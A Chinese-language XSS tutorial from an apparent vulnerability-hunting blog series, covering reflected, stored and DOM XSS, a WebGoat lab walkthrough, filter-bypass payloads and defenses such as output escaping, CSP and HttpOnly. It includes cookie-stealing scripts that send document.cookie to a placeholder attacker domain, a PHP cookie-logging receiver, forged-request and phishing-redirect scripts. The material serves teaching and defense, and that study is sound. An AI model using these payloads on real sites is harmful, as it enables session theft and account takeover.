漏洞挖掘从入门到进阶(第三期)Web漏洞挖掘实战|XSS跨站脚本漏洞原理与绕过技巧 📅 发布时间:2026/7/5 13:54:35 👁️ 浏览次数: 第3期Web漏洞挖掘实战XSS跨站脚本漏洞原理与绕过技巧第一期的内容戳这里第二期的内容戳这里前言XSSCross-Site Scripting跨站脚本漏洞是Web漏洞中最常见的漏洞之一其危害虽不及SQL注入直接但可用于窃取用户Cookie、伪造用户身份、发起钓鱼攻击等在实战安全测试与CTF竞赛中频繁出现。与SQL注入的“数据库交互漏洞”不同XSS是“页面渲染漏洞”核心成因是“用户输入未被过滤直接嵌入页面HTML中导致恶意脚本被执行”。本文将从底层渲染原理出发拆解XSS的成因、分类、挖掘流程结合OWASP WebGoat靶场实战覆盖反射型、存储型XSS的挖掘与绕过技巧同时补充前端/后端防护方案兼顾理论与实操适合Web安全新手、前端开发者、CTF爱好者阅读需具备基础的HTML、JavaScript与HTTP协议知识。一、XSS底层原理与核心成因XSS的本质是“用户输入可控页面未做过滤导致恶意JavaScript脚本被浏览器执行”其底层依赖浏览器的HTML渲染机制——浏览器会将页面中的HTML代码解析渲染若用户输入的恶意脚本被当作合法HTML/JS代码解析就会触发XSS。漏洞代码示例HTMLPHP!DOCTYPE html html body h1搜索结果/h1 ?php // 接收用户输入的搜索关键词 $keyword $_GET[keyword]; // 直接将用户输入嵌入页面未做过滤 echo 你搜索的关键词是 . $keyword; ? /body /htmlXSS触发过程当用户输入正常关键词keywordweb安全时页面渲染后显示“你搜索的关键词是web安全”无异常当用户输入恶意脚本keyword scriptalert(‘XSS’)/ script时页面渲染后的HTML代码为!DOCTYPE html html body h1搜索结果/h1 你搜索的关键词是scriptalert(XSS)/script /body /html浏览器解析到 script标签后会执行其中的alert(‘XSS’)语句弹出弹窗触发XSS漏洞。核心成因总结XSS的触发需满足两个核心条件二者缺一不可输入可控用户可以控制传入页面的参数如URL参数、表单参数、Cookie、评论内容未做过滤开发者未对用户输入的HTML/JS特殊标签如 script、 img、特殊字符如、、、进行过滤或转义导致恶意脚本被当作合法代码渲染。补充说明XSS的危害取决于恶意脚本的功能简单的脚本仅能弹出弹窗复杂的脚本可窃取用户Cookiedocument.cookie、伪造用户请求、跳转钓鱼页面等。二、XSS的核心分类按存储与触发方式根据恶意脚本的存储方式与触发场景XSS可分为3类不同类型的挖掘思路、危害范围差异较大新手需重点掌握前两类。反射型XSS非持久化XSS核心特征恶意脚本不存储在服务器中仅通过用户输入的参数如URL参数传递一次性触发刷新页面后脚本失效触发场景搜索框、登录跳转页、URL参数展示页等用户输入直接在当前页面渲染危害等级中需诱导用户点击恶意URL才能触发无法主动攻击大量用户示例http://xxx.com/search.php?keyword scriptalert(‘XSS’)/ script。存储型XSS持久化XSS核心特征恶意脚本被存储在服务器中如数据库、文件每次用户访问包含该脚本的页面都会触发XSS具有持久性触发场景评论区、留言板、个人资料编辑页、论坛发帖页等用户输入会被存入数据库供其他用户查看危害等级高一旦注入成功所有访问该页面的用户都会被攻击影响范围广示例在评论区输入 scriptdocument.location.href‘http://恶意域名?cookie’document.cookie/ script其他用户查看评论时Cookie会被窃取。DOM型XSS文档对象模型XSS核心特征漏洞存在于前端JS代码中与后端无关通过操作DOM元素如document.write、innerHTML将用户输入嵌入页面触发脚本执行触发场景前端动态渲染页面如通过JS获取URL参数渲染到页面中危害等级中-高取决于前端渲染场景部分DOM型XSS可绕过后端过滤示例JS代码// 获取URL中的keyword参数var keyword location.search.split(‘’)[1];// 操作DOM将参数嵌入页面未做过滤document.getElementById(‘search-result’).innerHTML “搜索结果” keyword;三、XSS标准化挖掘流程靶场实战同步本文以OWASP WebGoat反射型XSS题目为例拆解“信息收集→漏洞探测→漏洞验证→漏洞利用”的完整流程新手可跟着实操同时补充存储型XSS的挖掘要点。信息收集前置步骤目标信息靶场地址如http://webgoat.local:8080/WebGoat/XSS/reflected存在搜索框支持用户输入关键词并显示输入场景判断用户输入的关键词会直接显示在页面中属于反射型XSS的典型场景过滤情况探测初步输入简单脚本观察页面是否执行判断是否存在过滤。漏洞探测核心步骤漏洞探测的核心是“确认是否存在XSS注入点”常用两种方式手动探测与工具探测优先手动探测避免工具误报。1手动探测反射型XSS步骤1构造基础测试脚本判断是否存在注入点# 基础弹窗脚本 http://webgoat.local:8080/WebGoat/XSS/reflected?keywordscriptalert(1)/script # 若script标签被过滤尝试其他标签如img http://webgoat.local:8080/WebGoat/XSS/reflected?keywordimg srcx onerroralert(1)步骤2判断过滤规则逐步尝试绕过若 script被过滤使用大小写混淆 Script、 SCRIPT若onerror事件被过滤使用其他事件onload、onclick如 img srcx οnlοadalert(1)若、被过滤使用HTML实体编码如编码为编码为需判断浏览器是否会解码。步骤3确认注入点若页面弹出弹窗说明存在反射型XSS注入点。2存储型XSS探测要点存储型XSS的探测流程与反射型类似核心差异是“需确认脚本是否被存储”步骤1在评论区、留言板等场景输入测试脚本 img srcx οnerrοralert(1)提交内容步骤2刷新页面或用其他账号登录查看该内容若弹出弹窗说明脚本被存储存在存储型XSS注意存储型XSS需关注脚本的存储长度限制若服务器限制输入长度需缩短脚本如使用精简版弹窗脚本。3工具探测Burp SuiteXSS插件对于批量探测或复杂场景可使用Burp Suite辅助探测搭配XSS插件如XSS Validator步骤1开启Burp代理抓取用户输入请求如搜索请求、评论提交请求步骤2将请求发送到Intruder模块加载XSS payload字典步骤3运行攻击查看响应结果筛选出脚本可执行的请求确认注入点辅助工具XSS Hunter在线验证XSS漏洞适合挖掘存储型XSS可生成恶意URL追踪脚本执行情况。漏洞利用实战场景XSS的利用核心是“构造恶意脚本实现具体攻击目标”实战中常见的利用场景有3种1窃取用户CookieCookie中通常包含用户登录凭证窃取Cookie后可伪造用户身份登录恶意脚本示例script // 将Cookie发送到恶意服务器 var img new Image(); img.src http://恶意域名/steal.php?cookie document.cookie; /script恶意服务器steal.php代码接收并存储Cookie?php $cookie $_GET[cookie]; // 将Cookie写入文件 file_put_contents(cookie.txt, $cookie . \n, FILE_APPEND); ?2伪造用户请求通过XSS脚本伪造用户的POST/GET请求执行恶意操作如修改密码、发布恶意内容示例伪造评论提交请求script // 构造POST请求伪造用户发布恶意评论 var xhr new XMLHttpRequest(); xhr.open(POST, http://目标域名/submit_comment.php, true); xhr.setRequestHeader(Content-Type, application/x-www-form-urlencoded); xhr.send(comment恶意内容user当前用户); /script3跳转钓鱼页面通过XSS脚本将页面跳转到钓鱼页面诱导用户输入账号密码示例script // 延迟跳转避免被用户察觉 setTimeout(function(){ document.location.href http://钓鱼域名/login.html; }, 3000); /script漏洞验证与风险评估漏洞验证反射型XSS需重复触发恶意URL确认脚本稳定执行存储型XSS需更换账号或刷新页面确认脚本持续生效DOM型XSS需验证前端JS渲染逻辑确认脚本可被触发风险评估存储型XSS为高危影响所有访问页面的用户反射型、DOM型XSS为中危需诱导用户触发若目标为核心业务系统如登录页、支付页风险等级提升为高危。四、常见过滤绕过技巧实战必备实战中开发者常会通过前端过滤、后端过滤两种方式防御XSS新手需掌握以下5种常用绕过技巧应对不同过滤场景。标签与事件绕过针对标签过滤若开发者过滤了 script标签可使用其他支持JS执行的HTML标签事件属性绕过常用组合如下# 图片标签事件最常用 img srcx onerroralert(1) # onerror图片加载失败时执行 img src1 onloadalert(1) # onload图片加载成功时执行 # 链接标签事件 a hrefjavascript:alert(1)点击触发/a # 点击链接执行 a hrefx onclickalert(1)点击触发/a # 其他标签 body onloadalert(1) # 页面加载完成时执行 svg onloadalert(1) # SVG标签支持JS执行大小写混淆绕过针对大小写过滤若开发者仅过滤小写标签/事件可通过大小写混淆绕过浏览器解析HTML时不区分大小写ScRiPtalert(1)/ScRiPt img srcx OnErRoRalert(1)编码绕过针对特殊字符过滤若开发者过滤了、、、等特殊字符可使用HTML实体编码、URL编码绕过需根据渲染场景选择编码方式HTML实体编码适用于标签内容、属性值中如编码为编码为‘编码为’示例img srcx οnerrοralert(1)URL编码适用于URL参数中如编码为%3C编码为%3E示例http://xxx.com/search.php?keyword%3Cimg%20srcx%20οnerrοralert(1)%3E注释插入绕过针对关键字过滤若开发者过滤了完整的关键字如script、onerror可在关键字中插入HTML注释绕过过滤sc!--注释--riptalert(1)/sc!--注释--ript img srcx on!--注释--erroralert(1)原理服务器过滤时会匹配完整关键字插入注释后关键字被拆分不会被过滤浏览器解析时会忽略注释拼接关键字并执行。DOM型XSS绕过技巧针对后端过滤DOM型XSS漏洞在前端后端过滤无效可通过以下方式绕过前端过滤利用前端过滤漏洞若前端仅过滤一次可构造重复关键字如 sscriptcript过滤后还原为 script使用JS编码将恶意脚本进行Unicode编码前端JS解析时会自动解码执行示例// alert(1)的Unicode编码\u0061\u006C\u0065\u0072\u0074(1);五、XSS防护方案攻防兼备XSS防护需兼顾前端与后端核心思路是“过滤输入、净化输出”结合以下3种方案可有效防御绝大多数XSS漏洞。后端过滤与转义核心防护后端过滤是最有效的防护方式需对所有用户输入进行严格过滤或转义推荐使用编程语言自带的转义函数PHP使用htmlspecialchars()函数将特殊字符转义为HTML实体示例$ keyword htmlspecialchars($_GET[‘keyword’], ENT_QUOTES); # ENT_QUOTES转义单引号和双引号echo “你搜索的关键词是” . $keyword;Java使用Apache Commons Lang3的StringEscapeUtils.escapeHtml4()函数转义HTML特殊字符前端使用DOMPurify库净化用户输入的HTML内容避免DOM型XSS。前端过滤辅助防护前端过滤可拦截简单的恶意脚本提升用户体验但不能作为核心防护前端代码可被篡改过滤特殊标签与事件禁止用户输入 script、 img等标签以及onerror、onclick等事件属性限制输入长度对评论、搜索关键词等输入进行长度限制减少恶意脚本的注入空间。其他防护措施设置Cookie属性为Cookie添加HttpOnly属性禁止JS读取Cookie、Secure属性仅HTTPS传输防止Cookie被窃取启用CSP内容安全策略通过HTTP响应头Content-Security-Policy限制页面加载的脚本来源禁止执行内联脚本示例Content-Security-Policy: default-src ‘self’ # 仅允许加载自身域名的资源六、新手避坑指南核心5点避坑1认为“弹窗即XSS”忽视实战利用价值。部分场景下弹窗仅能证明存在注入点但无法执行恶意脚本如CSP拦截需验证脚本的实际执行能力避坑2仅关注后端过滤忽视DOM型XSS。后端过滤对DOM型XSS无效需重点排查前端JS渲染逻辑避坑3过度依赖工具忽视手动绕过。实战中过滤规则多样工具无法覆盖所有绕过场景手动构造payload是必备能力避坑4混淆编码场景盲目使用编码绕过。不同渲染场景标签内容、URL参数适配不同编码方式编码错误会导致注入失败避坑5忽视CSP防护。实战中很多目标会启用CSP需先探测CSP规则再选择对应的绕过方法如利用可信脚本来源注入。七、总结与下期预告本文拆解了XSS跨站脚本漏洞的底层原理、核心分类、标准化挖掘流程与实战绕过技巧结合OWASP WebGoat靶场完成实操核心要点是“理解页面渲染机制掌握输入过滤与输出净化的攻防逻辑”。XSS的挖掘核心不是背诵payload而是根据过滤规则灵活构造脚本同时兼顾防护方案形成攻防兼备的能力。网安学习资源网上虽然也有很多的学习资源但基本上都残缺不全的这是我们和网安大厂360共同研发的的网安视频教程内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识而且包含了中级的各种渗透技术并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频100多本网安电子书最新学习路线图和工具安装包都有不用担心学不全。这些东西我都可以免费分享给大家需要的可以点这里自取:网安入门到进阶资源
【网络安全】我的故事:从“门外汉”到“守门人” 我的故事:从“门外汉”到“守门人” 我曾是一个普通的理工科毕业生,专业和计算机毫不沾边。决定转行网络安全,仅仅是因为觉得它“很酷”,能像电影里的黑客一样,在键盘上敲几下就能解决问题。但现实,给了我… 2026/4/22 21:12:23
LangChain开源框架应对长任务挑战,Deep Agents如何解决上下文管理难题 Deep Agents SDK 的完整代码已在 GitHub 开源。随着 AI Agent 承担的任务越来越复杂,上下文管理将成为决定 Agent 能力边界的关键因素。这套方案提供了一个很好的起点。当 AI Agent 需要处理越来越长的任务时,一个棘手的问题浮出水面:LLM 的上… 2026/4/21 20:19:27
TFTP(简单文件传输协议) 一、协议概述 TFTP(Trivial File Transfer Protocol) 是一种基于UDP协议设计的极简文件传输协议,主要用于无盘工作站或嵌入式设备的系统引导过程。与功能完整的FTP相比,TFTP具有以下显著特点: 核心特性 协议简单&… 2026/4/22 1:18:13
小样本学习实战:数据增强与模型优化策略 1. 小样本学习的困境与破局思路当数据量只有常规数据集的1%甚至更少时,我们往往会陷入"巧妇难为无米之炊"的困境。去年接手的一个工业缺陷检测项目让我深有体会——客户只能提供200张带标注的样本图片,而常规深度学习方案至少需要2万张。这种场… 2026/7/5 13:54:14
MC6470与STM32F423RH在6DOF运动控制中的优化实践 1. MC6470与STM32F423RH的黄金组合解析在工业控制和定位领域,6DOF(六自由度)IMU(惯性测量单元)与高性能MCU的搭配一直是实现精准运动感知的核心方案。MC6470作为新一代边缘AI智能IMU,与STM32F423RH这款带硬… 2026/7/5 13:52:14
内向者和别人聊天缺少共同话题的庖丁解牛 两个人的“信息世界模型重叠度低 话题生成机制不一致”所以才会出现“聊不起来”。 一、第一刀:什么叫“共同话题”? 不是“都知道的东西”,而是:双方都能继续延展的信息节点✔ 真正的共同话题结构: A的经验 B的经验… 2026/7/5 13:52:14
Web安全实战:密码重置逻辑漏洞分析与防御指南 1. 项目概述:一次真实的Web安全实战复盘最近在墨者靶场里折腾那个“登录密码重置漏洞分析溯源”的关卡,感触挺深的。这关卡的设置非常贴近真实业务场景,它模拟了一个典型的用户密码找回功能,但里面埋了几个在开发中极其容易忽视的… 2026/7/5 13:50:14
建站工具测评:BBWEYY/比文云/Framer/Make/Brevo(2026年7月更新)含零代码SAAS、AI编程、源码定制交付 一、六个建站工具总表品牌建站方式适合谁价格BBWEYY全域全端全行业的AISAAS工具覆盖5000行业包括零售、工厂、外贸、教培行业本地生活,特别适合中小企业、工厂、商贸公司、外贸企业、教培机构和多行业经营项目。700元-3000元一年,买3送3年,年… 2026/7/5 13:50:13
Claude Code 的 Plan 审批流,真正的安全感来自动手前那一次认真确认 把 Claude Code 放进真实项目里用,最怕的不是它慢,而是它太快。 一个老项目里,认证模块连着用户表、权限缓存、审计日志、前端路由守卫、CI 脚本和一堆历史兼容逻辑。需求看起来只是「调整登录态刷新逻辑」,但 Claude Code 一旦直接进入编辑状态,很可能会先改 auth.ts,再… 2026/7/5 13:48:13
6个月转型AI工程师:实战路径与核心技能 1. 项目概述:6个月转型AI工程师的可行性路径在2023年大模型技术爆发的背景下,AI工程师岗位需求同比增长217%(LinkedIn数据)。不同于传统算法工程师需要3-5年培养周期,现代AI工程师更侧重工程化落地能力。我在硅谷科技公… 2026/7/5 0:01:32
TPAFE0808与PIC18F87K22的多通道信号采集方案 1. 项目背景与核心需求在工业自动化、医疗设备和科研仪器等领域,多通道信号采集与系统监测是基础且关键的技术需求。传统方案往往面临通道数量不足、信号调理复杂、系统集成度低等问题。TPAFE0808作为一款8通道模拟前端芯片,与PIC18F87K22微控制器的组合… 2026/7/5 0:01:32
STC3115与PIC18LF26K80构建高精度电池管理系统 1. STC3115与PIC18LF26K80在电池管理系统中的核心价值在现代电子设备中,电池管理系统(BMS)的重要性不亚于设备的核心处理器。STC3115作为一款高精度电池电量监测IC,与PIC18LF26K80微控制器的组合,构成了一个既能精确监控又能智能管理的完整解… 2026/7/5 0:05:36
6个月转型AI工程师:实战路径与核心技能 1. 项目概述:6个月转型AI工程师的可行性路径在2023年大模型技术爆发的背景下,AI工程师岗位需求同比增长217%(LinkedIn数据)。不同于传统算法工程师需要3-5年培养周期,现代AI工程师更侧重工程化落地能力。我在硅谷科技公… 2026/7/5 0:01:32
TPAFE0808与PIC18F87K22的多通道信号采集方案 1. 项目背景与核心需求在工业自动化、医疗设备和科研仪器等领域,多通道信号采集与系统监测是基础且关键的技术需求。传统方案往往面临通道数量不足、信号调理复杂、系统集成度低等问题。TPAFE0808作为一款8通道模拟前端芯片,与PIC18F87K22微控制器的组合… 2026/7/5 0:01:32
STC3115与PIC18LF26K80构建高精度电池管理系统 1. STC3115与PIC18LF26K80在电池管理系统中的核心价值在现代电子设备中,电池管理系统(BMS)的重要性不亚于设备的核心处理器。STC3115作为一款高精度电池电量监测IC,与PIC18LF26K80微控制器的组合,构成了一个既能精确监控又能智能管理的完整解… 2026/7/5 0:05:36